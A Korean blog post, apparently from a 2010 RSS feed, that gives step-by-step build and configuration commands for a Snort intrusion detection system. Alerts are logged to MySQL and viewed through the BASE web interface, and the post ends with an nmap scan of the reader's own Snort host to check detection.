<p>동작방식을 간단히 보면 Snort가 libpcap을 사용하여 패킷을 캡춰하고 정규식으로 작성된 룰을 기반으로 pcre를 사용하여  매칭을 한다. 공격으로 판단된 로그는 MySQL DB에 남기게 되고 사용자는 PHP로 작성된 BASE로 접속하여 웹페이지에서  로그를 쉽게 볼 수 있게된다.</p>
<hr />
<h3>라이브러리 설치</h3>
<p>libpcap과 pcre설치는 아래와 같은 명령으로 설치 할 수 있다.<br />
/usr/local/src 밑에서 압축을 해제 한 다음 아래와 같이 명령어를 입력한다.</p>
<blockquote>
<div>&gt; ./configure<br />
&gt; make &amp;&amp; make install</div>
</blockquote>
<hr />
<h3>어플리케이션 설치</h3>
<p>MySQL 설치는 생략한다. 웹 문서에도 많이 나와 있으며 홈페이지에서도 쉽게 나와 있으므로 참조를 하자.<br />
MySQL 설치: <a href="../4">http://www.onurmark.co.kr/4</a></p>
<p>Snort를 /usr/local/src에 압축을 해제하고 아래와 같은 명령어를 입력한다. 이때 &#8211;with-mysql 옵션은 MySQL이 설치된 디렉토리를 지정한다.(위치가 다를 수 있으니 확인)</p>
<blockquote>
<div>&gt; ./configure &#8211;with-mysql=/usr/local/mysql &#8211;enable-dynamic<br />
&gt; make &amp;&amp; make install</div>
</blockquote>
<p>snort라는 그룹과 사용자를 등록하고 룰과 로그를 남길 디렉토리를 만든다.</p>
<blockquote>
<div>&gt; groupadd snort<br />
&gt; useradd -g snort snort -s /sbin/nologin<br />
&gt;<br />
&gt; mkdir -p /etc/snort/rules<br />
&gt; mkdir /var/log/snort<br />
&gt;<br />
&gt; cp etc/* /etc/snort</div>
</blockquote>
<p>snortrules는 /etc/snort에 압축을 해제하면 된다.</p>
<p>MySQL 설정은 다음과 같이한다. 다른 이름으로 줘도 상관없다.</p>
<blockquote>
<div>User: snort<br />
PW: snort<br />
DB: snort</div>
</blockquote>
<p>사용자 계정과 패스워드를 지정하고 snort라는 DB를 생성하여 사용자가 snort라는 DB에 권한을 가지도록 설정한다. 기본적인 내용이므로 이 문서에는 설명하지 않도록 하겠다.</p>
<p>snort 소스파일에 schems/create_mysql이라는 DB 덤프 파일이 들어 있다. 아래의 명령어로 테이블들을 생성한다.</p>
<blockquote>
<div>&gt; mysql -u snort -p snort &lt; create_mysql<br />
Enter password: *****</div>
</blockquote>
<p>snort DB를 확인해보면 테이블들이 생성된 것을 확인 할 수 있다.</p>
<h3>Apache 와 PHP 설치</h3>
<p>아파치를 /usr/local/src에 압축 해제 후 다음 명령어로 설치를 진행하자</p>
<blockquote>
<div>&gt; ./configure &#8211;prefix=/usr/local/apache \<br />
&#8211;enable-so \<br />
&#8211;enable-cgi \<br />
&#8211;enable-info \<br />
&#8211;enable-rewrite \<br />
&#8211;enable-speling \<br />
&#8211;enable-usertrack \<br />
&#8211;enable-deflate \<br />
&#8211;enable-ssl \<br />
&#8211;enable-mime-magic<br />
&gt; make &amp;&amp; make install</div>
</blockquote>
<p>빌드 옵션에 대한 내용은 Apache홈페이지의 Document에 자세하게 나와 있으니 참조하자</p>
<p>PHP를 /usr/local/src에 압축 해제 후 아래와 같이 입력하자</p>
<blockquote>
<div>&gt; ./configure \<br />
&#8211;with-apxs2=/usr/local/apache/bin/apxs \<br />
&#8211;with-mysql=/usr/local/mysql \<br />
&#8211;prefix=/usr/local/apache/php \<br />
&#8211;with-config-file-path=/usr/local/apache/php \<br />
&#8211;enable-force-cgi-redirect \<br />
&#8211;disable-cgi \<br />
&#8211;with-zlib \<br />
&#8211;with-gettext<br />
&gt; make &amp;&amp; make install<br />
&gt; cp -p php.ini.recommended /usr/local/apache/php/php.ini</div>
</blockquote>
<p>Apache와 PHP가 설치 되었으면 /usr/local/apache/conf/httpd.conf파일을 아래와 같이 수정한다.</p>
<div>
<blockquote><p># Make sure there&#8217;s only **1** line for each of these 2 directives:<br />
# Use for PHP 4.x:<br />
#LoadModule php4_module        modules/libphp4.so<br />
#AddHandler php-script   php</p>
<p># Use for PHP 5.x:<br />
LoadModule php5_module        modules/libphp5.so<br />
AddHandler php5-script php</p>
<p># Add index.php to your DirectoryIndex line:<br />
DirectoryIndex index.html index.php</p>
<p>AddType text/html       php</p>
<p># PHP Syntax Coloring<br />
# (optional but useful for reading PHP source for debugging):<br />
AddType application/x-httpd-php-source phps</p></blockquote>
</div>
<hr />
<h3>ADOBE와 BASE 설치 및 설정</h3>
<p>ADODB와 BASE를 /usr/local/apache/htdocs에 압축을 해제하면 모든 설치가 완료 되었다.</p>
<p>마지막으로 snort와 BASE의 환경 설정만 남았다. /etc/snort/snort.conf 파일을 자신의 환경에 맞게 설정한 후 다음의 내용을 추가한다.</p>
<blockquote>
<div>var RULE_PATH=/etc/snort/rules<br />
output database:log,mysql,user=snort password=snort dbname=snort host=localhost</div>
</blockquote>
<p>/usr/local/apache/htdocs/base/base_conf.php.dist 파일을 base_conf.php파일로 복사한 다음 수정한다.</p>
<div>
<blockquote><p>$DBlib_path=&#8221;/usr/local/apache/htdocs/adodb&#8221;;<br />
$DBtype=&#8221;mysql&#8221;;</p>
<p>$alert_dbname=&#8221;snort&#8221;;<br />
$alert_host=&#8221;localhost&#8221;;<br />
$alert_port=&#8221;3306&#8243;;<br />
$alert_user=&#8221;snort&#8221;;<br />
$alert_password=&#8221;snort&#8221;;</p></blockquote>
</div>
<p>설정이 완료 된 후 MySQL을 실행하고 Apache를 실행하고 snort를 실행한 후 <a href="http://[%ec%84%a4%ec%b9%98%eb%90%9cip]/base">http://[설치된IP]/base</a>로 접속하면 다음과 같은 화면이 보일 것이다.</p>
<blockquote>
<div>&gt; /usr/local/mysql/bin/mysqld_safe &amp;<br />
&gt; /usr/local/apache/bin/apachectl start<br />
&gt; snort -i eth0 -c /etc/snort/snort.conf -D</div>
</blockquote>
<p>-i 옵션은 감시할 NIC카드를 선택하고 -c는 설정파일을 지정하고 -D는 데몬으로 띄우겠다는 옵션이다.<br />
<a href="http://www.onurmark.co.kr/wp-content/uploads/2010/09/XU44mY3Eyf.jpg" rel="lightbox[171]" title="Basic Analysis and security engine"><img class="alignnone size-full wp-image-175" title="Basic Analysis and security engine" src="http://www.onurmark.co.kr/wp-content/uploads/2010/09/XU44mY3Eyf.jpg" alt="Basic Analysis and security engine" width="482" height="410" /></a><br />
다른 호스트에서 스노트가 설치된 PC로 nmap으로 포트 스캐닝을 수행하고 로그가 남는지 확인해 보자</p>
<blockquote>
<div>&gt; nmap -O -sS [snort IP]</div>
</blockquote>
<p>자  이제 모든 설치가 완료 되었고 정상적으로 수행하는 것도 확인을 했다. 이제 마지막으로 남은 것은 브릿지 유틸을 사용하여  NIC카드 2개를 브릿지 한다음 snort가 브릿지를 탐지하도록 설정하면 완료가 된다. brctl을 사용하여 브릿지를 구성한 후  snort를 실행할 때 -i [브릿지 이름] 옵션을 주면 된다.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.onurmark.co.kr/?feed=rss2&#038;p=171</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

